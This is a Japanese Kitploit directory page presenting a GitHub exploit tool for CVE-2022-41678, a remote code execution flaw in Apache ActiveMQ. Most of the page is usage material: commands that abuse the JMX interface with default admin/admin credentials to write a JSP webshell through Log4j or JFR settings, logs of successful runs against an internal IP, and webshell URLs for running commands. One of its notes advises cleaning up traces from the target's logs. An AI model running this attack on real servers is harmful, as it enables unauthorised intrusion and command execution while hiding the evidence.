Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-41678 — CVE-2022-41678 は Apache ActiveMQ におけるリモートコード実行の脆弱性です。この脆弱性により、攻撃者は JMX インターフェースを介して Log4j 設定または JFR 設定を変更し、悪意のある JSP webshell をサーバーの web ディレクトリに書き込むことで、最終的にリモートコード実行を実現できます。 | Kitploit
ツール/GitHubGitHub/urjack2025/cve-2022-41678
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストリモートアクセスツール
GitHuburjack2025/cve-2022-41678

CVE-2022-41678

CVE-2022-41678 は Apache ActiveMQ におけるリモートコード実行の脆弱性です。この脆弱性により、攻撃者は JMX インターフェースを介して Log4j 設定または JFR 設定を変更し、悪意のある JSP webshell をサーバーの web ディレクトリに書き込むことで、最終的にリモートコード実行を実現できます。

リポジトリを見る
210ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Apache ActiveMQ CVE-2022-41678 エクスプロイトツール

脆弱性の概要

参考ドキュメント: https://app.nextcyber.cn/courses/41/tasks/580

CVE-2022-41678 は Apache ActiveMQ におけるリモートコード実行の脆弱性です。この脆弱性により、攻撃者は JMX (Java Management Extensions) インターフェースを介して Log4j 設定または JFR (Java Flight Recorder) 設定を変更し、悪意のある JSP ウェブシェルをサーバーの Web ディレクトリに書き込むことで、最終的にリモートコード実行を実現します。

この脆弱性は Apache ActiveMQ の複数のバージョンに影響します。具体的な影響バージョンは Log4j および JFR 設定の使用状況によって異なります。

環境要件

  • Python 3.6 以上
  • 必要な依存関係をインストール:
    root@kitploit:~
    pip install requests
    
  • 対象の ActiveMQ サーバーで JMX インターフェースが有効になっている必要があります(通常は /api/jolokia/ パスでアクセス可能)
  • 攻撃者は ActiveMQ コンソールのユーザー名とパスワードを知っている必要があります(デフォルトは通常 admin/admin)

使用方法

基本的な使い方

デフォルトの admin/admin 認証情報と自動検出された利用方法を使用:

root@kitploit:~
python exp.py http://target:8161

-u および -p パラメータでユーザー名とパスワードを指定することもできます:

root@kitploit:~
# Log4j を使用
python exp.py -u admin -p admin http://10.22.174.214:8161

# 実行結果
python exp.py -u admin -p admin http://10.22.174.214:8161
2025-10-14 22:53:54,115 - INFO - choice MBean 'org.apache.logging.log4j2:type=5faeada1' automatically
2025-10-14 22:53:54,334 - INFO - update log config
2025-10-14 22:53:54,467 - INFO - write webshell to http://10.22.174.214:8161/admin/shell.jsp?cmd=id
2025-10-14 22:53:54,655 - INFO - restore log config

デフォルトの Log4j 利用方法に加えて、--exploit jfr パラメータを指定して JFR 利用方法を使用することもできます。

root@kitploit:~
# JFR 方式を使用
python exp.py -u admin -p admin --exploit jfr http://10.22.174.214:8161

# 実行結果
python exp.py -u admin -p admin --exploit jfr http://10.22.174.214:8161/
2025-10-14 23:16:35,978 - INFO - choice MBean jdk.management.jfr:type=FlightRecorder manually
2025-10-14 23:16:37,390 - INFO - create flight record, id = 1
2025-10-14 23:16:37,533 - INFO - update configuration for record 1
2025-10-14 23:16:38,167 - INFO - start record
2025-10-14 23:16:39,243 - INFO - stop record
2025-10-14 23:16:39,309 - INFO - write webshell to http://10.22.174.214:8161/admin/shelljfr.jsp?cmd=id

エクスプロイト結果の確認

エクスプロイトに成功した後、以下の URL にアクセスしてコマンドを実行できます:

root@kitploit:~
# Log4j 方式で書き込まれたウェブシェル
http://target:8161/admin/shell.jsp?cmd=コマンド

# JFR 方式で書き込まれたウェブシェル
http://target:8161/admin/shelljfr.jsp?cmd=コマンド

例えば、id コマンドを実行:

root@kitploit:~
http://target:8161/admin/shell.jsp?cmd=id

ツールパラメーター説明

注意事項

  1. このツールはセキュリティ研究および認可されたテスト専用です。無許可のシステムでは使用しないでください。
  2. エクスプロイト成功後、ツールは元の Log4j 設定を復元しようとします。これにより対象システムへの影響を最小限に抑えます。
  3. 対象システムにネットワークアクセス制限がある場合、ターゲットの JMX インターフェースにアクセスできるようネットワーク設定を調整する必要があるかもしれません。
  4. ActiveMQ のバージョンによってパスや設定が異なる場合があります。実際の状況に応じてツール内のパスを調整してください。
  5. ツールは JMX インターフェースを使用して操作を行います。対象の ActiveMQ でこのインターフェースが有効になっていることを確認してください。
  6. このツールを実行すると対象システムにログが記録される可能性があります。関連する痕跡のクリーンアップに注意してください。
ツールをダウンロード
パラメーター短縮形型デフォルト値説明
--username-u文字列adminActiveMQ コンソールのユーザー名
--password-p文字列adminActiveMQ コンソールのパスワード
--exploit-e文字列auto利用方法、指定可能な値:auto, log4j, jfr
url-文字列-対象 ActiveMQ の URL アドレス(必須パラメーター)